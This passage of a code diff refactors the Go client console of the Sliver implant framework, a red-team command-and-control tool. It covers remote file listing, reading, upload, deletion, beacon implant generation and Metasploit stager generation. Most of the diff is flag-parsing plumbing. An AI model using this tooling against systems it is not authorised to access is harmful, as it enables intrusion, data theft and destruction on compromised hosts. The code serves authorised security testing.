}
|
||||
for _, lineResult := range result.FileResults {
|
||||
line := lineResult.Line
|
||||
if len(lineResult.LinesBefore) > 0 || len(lineResult.LinesAfter) > 0 {
|
||||
resultOutput = append(resultOutput, fmt.Sprintf("%s (match on line %d)\n", fileName, lineResult.LineNumber))
|
||||
if len(lineResult.LinesBefore) > 0 {
|
||||
resultOutput = append(resultOutput, strings.Join(lineResult.LinesBefore, "\n"))
|
||||
}
|
||||
resultOutput = append(resultOutput, grepLineResult(lineResult.Positions, line, colorize, allowFormatting))
|
||||
if len(lineResult.LinesAfter) > 0 {
|
||||
resultOutput = append(resultOutput, strings.Join(lineResult.LinesAfter, "\n"))
|
||||
}
|
||||
resultOutput = append(resultOutput, "\n")
|
||||
} else {
|
||||
if lineResult.LineNumber == -1 {
|
||||
resultOutput = append(resultOutput, fmt.Sprintf("Error when reading file %s: %s", fileName, line))
|
||||
} else {
|
||||
resultOutput = append(resultOutput, fmt.Sprintf("%s: Line %d: %s", fileName, lineResult.LineNumber, grepLineResult(lineResult.Positions, line, colorize, allowFormatting)))
|
||||
}
|
||||
}
|
||||
numberOfResults += 1
|
||||
}
|
||||
}
|
||||
|
||||
return resultOutput, numberOfResults, binaryFilesMatched
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func HeadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string, head bool) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var filePath string
|
||||
var fetchBytes bool
|
||||
var fetchSize int64
|
||||
var operationName string
|
||||
var download *sliverpb.Download
|
||||
var err error
|
||||
|
||||
if len(args) > 0 {
|
||||
filePath = args[0]
|
||||
}
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file name\n")
|
||||
return
|
||||
}
|
||||
|
||||
if cmd.Flags().Changed("bytes") {
|
||||
fetchBytes = true
|
||||
fetchSize, _ = cmd.Flags().GetInt64("bytes")
|
||||
if fetchSize < 0 {
|
||||
// Cannot fetch a negative number of bytes
|
||||
con.PrintErrorf("The number of bytes specified must be positive.")
|
||||
return
|
||||
}
|
||||
if fetchSize == 1 {
|
||||
operationName = "byte"
|
||||
} else {
|
||||
operationName = "bytes"
|
||||
}
|
||||
} else if cmd.Flags().Changed("lines") {
|
||||
fetchBytes = false
|
||||
fetchSize, _ = cmd.Flags().GetInt64("lines")
|
||||
if fetchSize < 0 {
|
||||
// Cannot fetch a negative number of lines
|
||||
con.PrintErrorf("The number of lines specified must be positive.")
|
||||
return
|
||||
}
|
||||
if fetchSize == 1 {
|
||||
operationName = "line"
|
||||
} else {
|
||||
operationName = "lines"
|
||||
}
|
||||
} else {
|
||||
con.PrintErrorf("A number of bytes or a number of lines must be specified.")
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Retrieving %d %s from %s ...", fetchSize, operationName, filePath), ctrl)
|
||||
|
||||
// A tail is a negative head
|
||||
if !head {
|
||||
fetchSize *= -1
|
||||
}
|
||||
|
||||
if fetchBytes {
|
||||
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
MaxBytes: fetchSize,
|
||||
RestrictedToFile: true,
|
||||
})
|
||||
} else {
|
||||
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
MaxLines: fetchSize,
|
||||
RestrictedToFile: true,
|
||||
})
|
||||
}
|
||||
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCat(download, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintCat(download, cmd, con)
|
||||
}
|
||||
}
|
||||
@@ -27,26 +27,33 @@ import (
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// LsCmd - List the contents of a remote directory
|
||||
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func LsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("path")
|
||||
var remotePath string
|
||||
if len(args) == 1 {
|
||||
remotePath = args[0]
|
||||
} else {
|
||||
remotePath = "."
|
||||
}
|
||||
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: remotePath,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -60,16 +67,16 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintLs(ls, ctx.Flags, con)
|
||||
PrintLs(ls, cmd.Flags(), con)
|
||||
})
|
||||
con.PrintAsyncResponse(ls.Response)
|
||||
} else {
|
||||
PrintLs(ls, ctx.Flags, con)
|
||||
PrintLs(ls, cmd.Flags(), con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintLs - Display an sliverpb.Ls object
|
||||
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
|
||||
func PrintLs(ls *sliverpb.Ls, flags *pflag.FlagSet, con *console.SliverConsoleClient) {
|
||||
if ls.Response != nil && ls.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", ls.Response.Err)
|
||||
return
|
||||
@@ -97,9 +104,9 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleC
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Extract the flags
|
||||
reverseSort := flags.Bool("reverse")
|
||||
sortByTime := flags.Bool("modified")
|
||||
sortBySize := flags.Bool("size")
|
||||
reverseSort, _ := flags.GetBool("reverse")
|
||||
sortByTime, _ := flags.GetBool("modified")
|
||||
sortBySize, _ := flags.GetBool("size")
|
||||
|
||||
/*
|
||||
By default, name sorting is case sensitive. Upper case entries come before
|
||||
|
||||
@@ -20,23 +20,23 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MemfilesAddCmd - Add memfile
|
||||
func MemfilesAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
memfilesAdd, err := con.Rpc.MemfilesAdd(context.Background(), &sliverpb.MemfilesAddReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -25,24 +25,24 @@ import (
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MemfilesListCmd - List memfiles
|
||||
func MemfilesListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func MemfilesListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
memfilesList, err := con.Rpc.MemfilesList(context.Background(), &sliverpb.MemfilesListReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -21,31 +21,34 @@ import (
|
||||
"context"
|
||||
"strconv"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MemfilesRmCmd - Remove a memfile
|
||||
func MemfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
fdArg := ctx.Args.String("fd")
|
||||
fdArg := args[0]
|
||||
if fdArg == "" {
|
||||
con.PrintErrorf("Missing parameter: File Descriptor\n")
|
||||
return
|
||||
}
|
||||
|
||||
fdInt, err := strconv.ParseInt(fdArg, 0, 64)
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse fdArg: %s\n", err)
|
||||
return
|
||||
}
|
||||
memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Fd: fdInt,
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -21,22 +21,24 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MkdirCmd - Make a remote directory
|
||||
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func MkdirCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
filePath := args[0]
|
||||
// filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: directory name\n")
|
||||
@@ -44,7 +46,7 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -21,34 +21,37 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
|
||||
func MvCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
src := ctx.Args.String("src")
|
||||
if src == "" {
|
||||
con.PrintErrorf("Missing parameter: src\n")
|
||||
return
|
||||
}
|
||||
src := args[0]
|
||||
// src := ctx.Args.String("src")
|
||||
// if src == "" {
|
||||
// con.PrintErrorf("Missing parameter: src\n")
|
||||
// return
|
||||
// }
|
||||
|
||||
dst := ctx.Args.String("dst")
|
||||
if dst == "" {
|
||||
con.PrintErrorf("Missing parameter: dst\n")
|
||||
return
|
||||
}
|
||||
dst := args[1]
|
||||
// dst := ctx.Args.String("dst")
|
||||
// if dst == "" {
|
||||
// con.PrintErrorf("Missing parameter: dst\n")
|
||||
// return
|
||||
// }
|
||||
|
||||
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Src: src,
|
||||
Dst: dst,
|
||||
})
|
||||
|
||||
@@ -21,22 +21,23 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PwdCmd - Print the remote working directory
|
||||
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func PwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -21,33 +21,38 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// RmCmd - Remove a directory from the remote file system
|
||||
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
filePath := args[0]
|
||||
// filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
recursive, _ := cmd.Flags().GetBool("recursive")
|
||||
force, _ := cmd.Flags().GetBool("force")
|
||||
|
||||
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
Recursive: recursive,
|
||||
Force: force,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -21,29 +21,36 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// UploadCmd - Upload a file to the remote system
|
||||
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
localPath := ctx.Args.String("local-path")
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
isIOC := ctx.Flags.Bool("ioc")
|
||||
remotePath := ""
|
||||
|
||||
localPath := args[0]
|
||||
if len(args) > 1 {
|
||||
remotePath = args[1]
|
||||
}
|
||||
|
||||
// localPath := ctx.Args.String("local-path")
|
||||
// remotePath := ctx.Args.String("remote-path")
|
||||
isIOC, _ := cmd.Flags().GetBool("ioc")
|
||||
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("Missing parameter, see `help upload`\n")
|
||||
@@ -56,14 +63,15 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
fileName := filepath.Base(src)
|
||||
|
||||
if remotePath == "" {
|
||||
fileName := filepath.Base(src)
|
||||
remotePath = fileName
|
||||
}
|
||||
|
||||
dst := remotePath
|
||||
|
||||
fileBuf, err := ioutil.ReadFile(src)
|
||||
fileBuf, err := os.ReadFile(src)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -73,11 +81,12 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
|
||||
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
IsIOC: isIOC,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
IsIOC: isIOC,
|
||||
FileName: fileName,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -4,23 +4,25 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CanariesCmd - Display canaries from the database and their status
|
||||
func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CanariesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to list canaries %s", err)
|
||||
return
|
||||
}
|
||||
if 0 < len(canaries.Canaries) {
|
||||
PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
burnedOnly, _ := cmd.Flags().GetBool("burned")
|
||||
PrintCanaries(con, canaries.Canaries, burnedOnly)
|
||||
} else {
|
||||
con.PrintInfof("No canaries in database\n")
|
||||
}
|
||||
|
||||
@@ -5,9 +5,10 @@ import (
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -16,32 +17,35 @@ var (
|
||||
)
|
||||
|
||||
// GenerateBeaconCmd - The main command used to generate implant binaries
|
||||
func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
config := parseCompileFlags(ctx, con)
|
||||
func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name, config := parseCompileFlags(cmd, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(ctx, con, config)
|
||||
err := parseBeaconFlags(cmd, con, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
|
||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||
compile(config, save, con)
|
||||
} else {
|
||||
externalBuild(config, save, con)
|
||||
externalBuild(name, config, save, con)
|
||||
}
|
||||
}
|
||||
|
||||
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
|
||||
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
|
||||
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
|
||||
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
|
||||
func parseBeaconFlags(cmd *cobra.Command, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
|
||||
days, _ := cmd.Flags().GetInt64("days")
|
||||
hours, _ := cmd.Flags().GetInt64("hours")
|
||||
minutes, _ := cmd.Flags().GetInt64("minutes")
|
||||
interval := time.Duration(days) * time.Hour * 24
|
||||
interval += time.Duration(hours) * time.Hour
|
||||
interval += time.Duration(minutes) * time.Minute
|
||||
|
||||
/*
|
||||
If seconds has not been specified but any of the other time units have, then do not add
|
||||
@@ -49,14 +53,18 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
|
||||
|
||||
If seconds have been specified, then add them regardless.
|
||||
*/
|
||||
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
|
||||
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
|
||||
if (!cmd.Flags().Changed("seconds") && interval.Seconds() == 0) || (cmd.Flags().Changed("seconds")) {
|
||||
// if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
|
||||
seconds, _ := cmd.Flags().GetInt64("seconds")
|
||||
interval += time.Duration(seconds) * time.Second
|
||||
}
|
||||
|
||||
if interval < minBeaconInterval {
|
||||
return ErrBeaconIntervalTooShort
|
||||
}
|
||||
|
||||
beaconJitter, _ := cmd.Flags().GetInt64("jitter")
|
||||
config.BeaconInterval = int64(interval)
|
||||
config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
|
||||
config.BeaconJitter = int64(time.Duration(beaconJitter) * time.Second)
|
||||
return nil
|
||||
}
|
||||
@@ -3,13 +3,14 @@ package generate
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// GenerateInfoCmd - Display information about the Sliver server's compiler configuration
|
||||
func GenerateInfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to get compiler information: %s\n", err)
|
||||
|
||||
@@ -27,15 +27,16 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// GenerateStagerCmd - Generate a stager using Metasploit
|
||||
func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var stageProto clientpb.StageProtocol
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
if lhost == "" {
|
||||
con.PrintErrorf("Please specify a listening host")
|
||||
return
|
||||
@@ -64,13 +65,14 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
lhost = addr[0]
|
||||
}
|
||||
}
|
||||
lport := ctx.Flags.Int("lport")
|
||||
stageOS := ctx.Flags.String("os")
|
||||
arch := ctx.Flags.String("arch")
|
||||
proto := ctx.Flags.String("protocol")
|
||||
format := ctx.Flags.String("format")
|
||||
badChars := ctx.Flags.String("badchars")
|
||||
save := ctx.Flags.String("save")
|
||||
lport, _ := cmd.Flags().GetUint32("lport")
|
||||
stageOS, _ := cmd.Flags().GetString("os")
|
||||
arch, _ := cmd.Flags().GetString("arch")
|
||||
proto, _ := cmd.Flags().GetString("protocol")
|
||||
format, _ := cmd.Flags().GetString("format")
|
||||
badChars, _ := cmd.Flags().GetString("badchars")
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
advOptions, _ := cmd.Flags().GetString("advanced")
|
||||
|
||||
bChars := make([]string, 0)
|
||||
if len(badChars) > 0 {
|
||||
@@ -94,13 +96,14 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Generating stager, please wait ...", ctrl)
|
||||
stageFile, err := con.Rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
|
||||
Arch: arch,
|
||||
BadChars: bChars,
|
||||
Format: format,
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Protocol: stageProto,
|
||||
OS: stageOS,
|
||||
Arch: arch,
|
||||
BadChars: bChars,
|
||||
Format: format,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Protocol: stageProto,
|
||||
OS: stageOS,
|
||||
AdvOptions: advOptions,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -111,19 +114,19 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
if save != "" || format == "raw" {
|
||||
saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
|
||||
saveTo, err := saveLocation(save, stageFile.GetFile().GetName(), con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0o700)
|
||||
if err != nil {
|
||||
